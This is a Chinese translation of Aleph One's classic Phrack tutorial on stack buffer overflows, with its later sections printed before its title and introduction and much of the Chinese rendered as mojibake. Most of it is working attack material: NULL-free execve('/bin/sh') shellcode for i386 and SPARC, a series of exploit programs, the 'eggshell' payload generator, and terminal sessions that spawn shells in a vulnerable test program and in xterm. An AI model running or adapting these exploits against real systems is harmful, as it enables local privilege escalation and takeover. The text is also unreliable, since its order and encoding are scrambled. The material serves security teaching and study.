那么在我們shellcode中的任何NULL字節(jié)都會被認(rèn)為是字符串的結(jié)尾, 復(fù)制工作就到此為
止了. 對于我們的破解工作來說, 在shellcode里不能有NULL字節(jié). 下面來消除這些字節(jié),
同時把代碼精簡一點(diǎn).
Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
Our improved code:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
And our new test program:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
破解實(shí)戰(zhàn)
~~~~~~~~~~
現(xiàn)在把手頭的工具都準(zhǔn)備好. 我們已經(jīng)有了shellcode. 我們知道shellcode必須是被
溢出的字符串的一部分. 我們知道必須把返回地址指回緩沖區(qū). 下面的例子說明了這幾點(diǎn):
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
如上所示, 我們用buffer[]的地址來填充large_string[]數(shù)組, shellcode就將會在
buffer[]之中. 然后我們把shellcode復(fù)制到large_string字串的開頭. strcpy()不做任
何邊界檢查就會將large_string復(fù)制到buffer中去, 并且覆蓋返回地址. 現(xiàn)在的返回地址
就是我們shellcode的起始位置. 一旦執(zhí)行到main函數(shù)的尾部, 在試圖返回時就會跳到我
們的shellcode中, 得到一個shell.
我們所面臨的問題是: 當(dāng)試圖使另外一個程序的緩沖區(qū)溢出的時候, 如何確定這個
緩沖區(qū)(會有我們的shellcode)的地址在哪? 答案是: 對于每一個程序, 堆棧的起始地址
都是相同的. 大多數(shù)程序不會一次向堆棧中壓入成百上千字節(jié)的數(shù)據(jù). 因此知道了堆棧
的開始地址, 我們可以試著猜出這個要使其溢出的緩沖區(qū)在哪. 下面的小程序會打印出
它的堆棧指針:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
假定我們要使其溢出的程序如下:
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
我們創(chuàng)建一個程序可以接受兩個參數(shù), 一是緩沖區(qū)大小, 二是從其自身堆棧指針?biāo)闫?BR>的偏移量(這個堆棧指針指明了我們想要使其溢出的緩沖區(qū)所在的位置). 我們把溢出字符
串放到一個環(huán)境變量中, 這樣就容易操作一些.
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
現(xiàn)在我們嘗試猜測緩沖區(qū)的大小和偏移量:
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
正如我們所看到的, 這并不是一個很有效率的過程. 即使知道了堆棧的起始地址, 嘗
試猜測偏移量也幾乎是不可能的. 我們很可能要試驗(yàn)幾百次, 沒準(zhǔn)幾千次也說不定. 問題
的關(guān)鍵在于我們必須*確切*地知道我們代碼開始的地址. 如果偏差哪怕只有一個字節(jié)我們
也只能得到段錯誤或非法指令錯誤. 提高成功率的一種方法是在我們溢出緩沖區(qū)的前段填
充NOP指令. 幾乎所有的處理器都有NOP指令執(zhí)行空操作. 常用于延時目的. 我們利用它來
填充溢出緩沖區(qū)的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我們足夠
幸運(yùn)的話, 返回地址指到NOPs字串的任何位置, NOP指令就會執(zhí)行, 直到碰到我們的
shellcode. 在Intel體系結(jié)構(gòu)中NOP指令只有一個字節(jié)長, 翻譯為機(jī)器碼是0x90. 假定堆棧
的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆棧看起來是這樣:
內(nèi)存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內(nèi)存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
堆棧頂端 堆棧底部
新的破解程序如下:
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
我們所使用的緩沖區(qū)大小最好比要使其溢出的緩沖區(qū)大100字節(jié)左右. 我們在要使其
溢出的緩沖區(qū)尾部放置shellcode, 為NOP指令留下足夠的空間, 仍然使用我們推測的地址
來覆蓋返回地址. 這里我們要使其溢出的緩沖區(qū)大小是512字節(jié), 所以我們使用612字節(jié).
現(xiàn)在使用新的破解程序來使我們的測試程序溢出:
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
哇!一擊中的!這個改進(jìn)成千倍地提高了我們的命中率. 下面在真實(shí)的環(huán)境中嘗試一
下緩沖區(qū)溢出. 在Xt庫上運(yùn)用我們所講述的方法. 在例子中, 我們使用xterm(實(shí)際上所有
連接Xt庫的程序都有漏洞). 計(jì)算機(jī)上要運(yùn)行X Server并且允許本地的連接. 還要相應(yīng)設(shè)
置DISPLAY變量.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
°
骎
?へ@よ?in/shいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい
いいいいいいいいいいいいいいいいいいいいいいいいい¤
(此處截短多行輸出)
いいいいいいいいいいい?いいいい
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
°
骎
?へ@よ?in/sh
¤
(此處截短多行輸出)
縃arning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1F
°
骎
?へ@よ?in/sh鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗
鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗?
(此處截短多行輸出)
縏鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸚arning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
尤里卡! 僅僅幾次嘗試我們就成功了!如果xterm是帶suid root安裝的, 我們就已經(jīng)
得到了一個root shell了.
小緩沖區(qū)的溢出
~~~~~~~~~~~~~~~~
有時候想使其溢出的緩沖區(qū)太小了, 以至于shellcode都放不進(jìn)去, 這樣返回地址就
會被指令所覆蓋, 而不是我們所推測的地址, 或者shellcode是放進(jìn)去了, 但是沒法填充
足夠多的NOP指令, 這樣推測地址的成功率就很低了. 要從這樣的程序(小緩沖區(qū))里得到
一個shell, 我們必須得想其他辦法. 下面介紹的這種方法只在能夠訪問程序的環(huán)境變量
時有效.
我們所做的就是把shellcode放到環(huán)境變量中去, 然后用這個變量在內(nèi)存中的地址來
使緩沖區(qū)溢出. 這種方法同時也提高了破解工作的成功率, 因?yàn)楸4鎠hellcode的環(huán)境變
量想要多大就有多大.
當(dāng)程序開始時, 環(huán)境變量存儲在堆棧的頂部, 任何使用setenv()的修改動作會在其他
地方重新分配空間. 開始時的堆棧如下所示:
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
我們新的程序會使用一個額外的變量, 變量的大小能夠容納shellcode和NOP指令,
新的破解程序如下所示:
exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
用這個新的破解程序來試試我們的漏洞測試程序:
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
成功了, 再試試xterm:
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨
挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨
(此處截短多行輸出)
挨挨挨
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
一次成功! 它顯著提高了我們的成功率. 依賴于破解程序和被破解程序比較環(huán)境數(shù)據(jù)
的多少, 我們推測的地址可能高也可能低于真值. 正和負(fù)的偏移量都可以試一試.
尋找緩沖區(qū)溢出漏洞
~~~~~~~~~~~~~~~~~~~~~
如前所述, 緩沖區(qū)溢出是向一個緩沖區(qū)填充超過其處理能力的信息造成的結(jié)果. 由于C
語言沒有任何內(nèi)置的邊界檢查, 寫入一個字符數(shù)組時, 如果超越了數(shù)組的結(jié)尾就會造成溢
出. 標(biāo)準(zhǔn)C語言庫提供了一些沒有邊界檢查的字符串復(fù)制或添加函數(shù). 包括strcat(),
strcpy(), sprintf(), and vsprintf(). 這些函數(shù)對一個null結(jié)尾的字符串進(jìn)行操作, 并
不檢查溢出情況. gets()函數(shù)從標(biāo)準(zhǔn)輸入中讀取一行到緩沖區(qū)中, 直到換行或EOF. 它也不
檢查緩沖區(qū)溢出. scanf()函數(shù)族在匹配一系列非空格字符(%s), 或從指定集合(%[])中匹
配非空系列字符時, 使用字符指針指向數(shù)組, 并且沒有定義最大字段寬度這個可選項(xiàng), 就
可能出現(xiàn)問題. 如果這些函數(shù)的目標(biāo)地址是一個固定大小的緩沖區(qū), 函數(shù)的另外參數(shù)是由
用戶以某種形式輸入, 則很有可能利用緩沖區(qū)溢出來破解它.
另一種常見的編程結(jié)構(gòu)是使用while循環(huán)從標(biāo)準(zhǔn)輸入或某個文件中一次讀入一個字符到
緩沖區(qū)中, 直到行尾或文件結(jié)尾, 或者碰到別的什么終止符. 這種結(jié)構(gòu)通常使用getc(),
fgetc(), 或getchar()函數(shù)中的某一個. 如果在while循環(huán)中沒有明確的溢出檢查, 這種程
序就很容易被破解.
由此可見, grep(1)是一個很好的工具命令(幫助你找到程序中可能有的漏洞). 自由操
作系統(tǒng)及其工具的源碼是可讀的. 當(dāng)你意識到其實(shí)很多商業(yè)操作系統(tǒng)工具都和自由軟件有
著相同的源碼時, 剩下的事情就簡單了! :-)
附錄 A - 不同操作系統(tǒng)/體系結(jié)構(gòu)的shellcode
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------
附錄 B - 通用緩沖區(qū)溢出程序
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offs
et>]\n");
}
------------------------------------------------------------------------------
.oO Phrack 49 Oo.
Volume Seven, Issue Forty-Nine
File 14 of 16
BugTraq, r00t, and Underground.Org
bring you
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
以娛樂和牟利為目的踐踏堆棧
(緩沖區(qū)溢出的原理和實(shí)踐)
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
原作 by Aleph One
aleph1@underground.org
翻譯 xuzq@chinasafer.com
www.chinasafer.com
'踐踏堆棧'[C語言編程] n. 在許多C語言的實(shí)現(xiàn)中,有可能通過寫入例程
中所聲明的數(shù)組的結(jié)尾部分來破壞可執(zhí)行的堆棧.所謂'踐踏堆棧'使用的
代碼可以造成例程的返回異常,從而跳到任意的地址.這導(dǎo)致了一些極為
險惡的數(shù)據(jù)相關(guān)漏洞(已人所共知).其變種包括堆棧垃圾化(trash the
stack),堆棧亂寫(scribble the stack),堆棧毀壞(mangle the stack);
術(shù)語mung the stack并不使用,因?yàn)檫@從來不是故意造成的.參閱spam?
也請參閱同名的漏洞,胡鬧內(nèi)核(fandango on core),內(nèi)存泄露(memory
leak),優(yōu)先權(quán)丟失(precedence lossage),螺紋滑扣(overrun screw).
簡 介
~~~~~~~
在過去的幾個月中,被發(fā)現(xiàn)和利用的緩沖區(qū)溢出漏洞呈現(xiàn)上升趨勢.例如syslog,
splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at等等.本文試圖
解釋什么是緩沖區(qū)溢出, 以及如何利用.
匯編的基礎(chǔ)知識是必需的. 對虛擬內(nèi)存的概念, 以及使用gdb的經(jīng)驗(yàn)是十分有益
的, 但不是必需的. 我們還假定使用Intel x86 CPU, 操作系統(tǒng)是Linux.
在開始之前我們給出幾個基本的定義: 緩沖區(qū),簡單說來是一塊連續(xù)的計(jì)算機(jī)內(nèi)
存區(qū)域, 可以保存相同數(shù)據(jù)類型的多個實(shí)例. C程序員通常和字緩沖區(qū)數(shù)組打交道.
最常見的是字符數(shù)組. 數(shù)組, 與C語言中所有的變量一樣, 可以被聲明為靜態(tài)或動態(tài)
的. 靜態(tài)變量在程序加載時定位于數(shù)據(jù)段. 動態(tài)變量在程序運(yùn)行時定位于堆棧之中.
溢出, 說白了就是灌滿, 使內(nèi)容物超過頂端, 邊緣, 或邊界. 我們這里只關(guān)心動態(tài)
緩沖區(qū)的溢出問題, 即基于堆棧的緩沖區(qū)溢出.
進(jìn)程的內(nèi)存組織形式
~~~~~~~~~~~~~~~~~~~~
為了理解什么是堆棧緩沖區(qū), 我們必須首先理解一個進(jìn)程是以什么組織形式在
內(nèi)存中存在的. 進(jìn)程被分成三個區(qū)域: 文本, 數(shù)據(jù)和堆棧. 我們把精力集中在堆棧
區(qū)域, 但首先按照順序簡單介紹一下其他區(qū)域.
文本區(qū)域是由程序確定的, 包括代碼(指令)和只讀數(shù)據(jù). 該區(qū)域相當(dāng)于可執(zhí)行
文件的文本段. 這個區(qū)域通常被標(biāo)記為只讀, 任何對其寫入的操作都會導(dǎo)致段錯誤
(segmentation violation).
數(shù)據(jù)區(qū)域包含了已初始化和未初始化的數(shù)據(jù). 靜態(tài)變量儲存在這個區(qū)域中. 數(shù)
據(jù)區(qū)域?qū)?yīng)可執(zhí)行文件中的data-bss段. 它的大小可以用系統(tǒng)調(diào)用brk(2)來改變.
如果bss數(shù)據(jù)的擴(kuò)展或用戶堆棧把可用內(nèi)存消耗光了, 進(jìn)程就會被阻塞住, 等待有了
一塊更大的內(nèi)存空間之后再運(yùn)行. 新內(nèi)存加入到數(shù)據(jù)和堆棧段的中間.
/------------------\ 內(nèi)存低地址
| |
| 文本 |
| |
|------------------|
| (已初始化) |
| 數(shù)據(jù) |
| (未初始化) |
|------------------|
| |
| 堆棧 |
| |
\------------------/ 內(nèi)存高地址
Fig. 1 進(jìn)程內(nèi)存區(qū)域
什么是堆棧?
~~~~~~~~~~~~~
堆棧是一個在計(jì)算機(jī)科學(xué)中經(jīng)常使用的抽象數(shù)據(jù)類型. 堆棧中的物體具有一個特性:
最后一個放入堆棧中的物體總是被最先拿出來, 這個特性通常稱為后進(jìn)先處(LIFO)隊(duì)列.
堆棧中定義了一些操作. 兩個最重要的是PUSH和POP. PUSH操作在堆棧的頂部加入一
個元素. POP操作相反, 在堆棧頂部移去一個元素, 并將堆棧的大小減一.
為什么使用堆棧?
~~~~~~~~~~~~~~~~
現(xiàn)代計(jì)算機(jī)被設(shè)計(jì)成能夠理解人們頭腦中的高級語言. 在使用高級語言構(gòu)造程序時
最重要的技術(shù)是過程(procedure)和函數(shù)(function). 從這一點(diǎn)來看, 一個過程調(diào)用可
以象跳轉(zhuǎn)(jump)命令那樣改變程序的控制流程, 但是與跳轉(zhuǎn)不同的是, 當(dāng)工作完成時,
函數(shù)把控制權(quán)返回給調(diào)用之后的語句或指令. 這種高級抽象實(shí)現(xiàn)起來要靠堆棧的幫助.
堆棧也用于給函數(shù)中使用的局部變量動態(tài)分配空間, 同樣給函數(shù)傳遞參數(shù)和函數(shù)返
回值也要用到堆棧.
堆棧區(qū)域
~~~~~~~~~~
堆棧是一塊保存數(shù)據(jù)的連續(xù)內(nèi)存. 一個名為堆棧指針(SP)的寄存器指向堆棧的頂部.
堆棧的底部在一個固定的地址. 堆棧的大小在運(yùn)行時由內(nèi)核動態(tài)地調(diào)整. CPU實(shí)現(xiàn)指令
PUSH和POP, 向堆棧中添加元素和從中移去元素.
堆棧由邏輯堆棧幀組成. 當(dāng)調(diào)用函數(shù)時邏輯堆棧幀被壓入棧中, 當(dāng)函數(shù)返回時邏輯
堆棧幀被從棧中彈出. 堆棧幀包括函數(shù)的參數(shù), 函數(shù)地局部變量, 以及恢復(fù)前一個堆棧
幀所需要的數(shù)據(jù), 其中包括在函數(shù)調(diào)用時指令指針(IP)的值.
堆棧既可以向下增長(向內(nèi)存低地址)也可以向上增長, 這依賴于具體的實(shí)現(xiàn). 在我
們的例子中, 堆棧是向下增長的. 這是很多計(jì)算機(jī)的實(shí)現(xiàn)方式, 包括Intel, Motorola,
SPARC和MIPS處理器. 堆棧指針(SP)也是依賴于具體實(shí)現(xiàn)的. 它可以指向堆棧的最后地址,
或者指向堆棧之后的下一個空閑可用地址. 在我們的討論當(dāng)中, SP指向堆棧的最后地址.
除了堆棧指針(SP指向堆棧頂部的的低地址)之外, 為了使用方便還有指向幀內(nèi)固定
地址的指針叫做幀指針(FP). 有些文章把它叫做局部基指針(LB-local base pointer).
從理論上來說, 局部變量可以用SP加偏移量來引用. 然而, 當(dāng)有字被壓棧和出棧后, 這
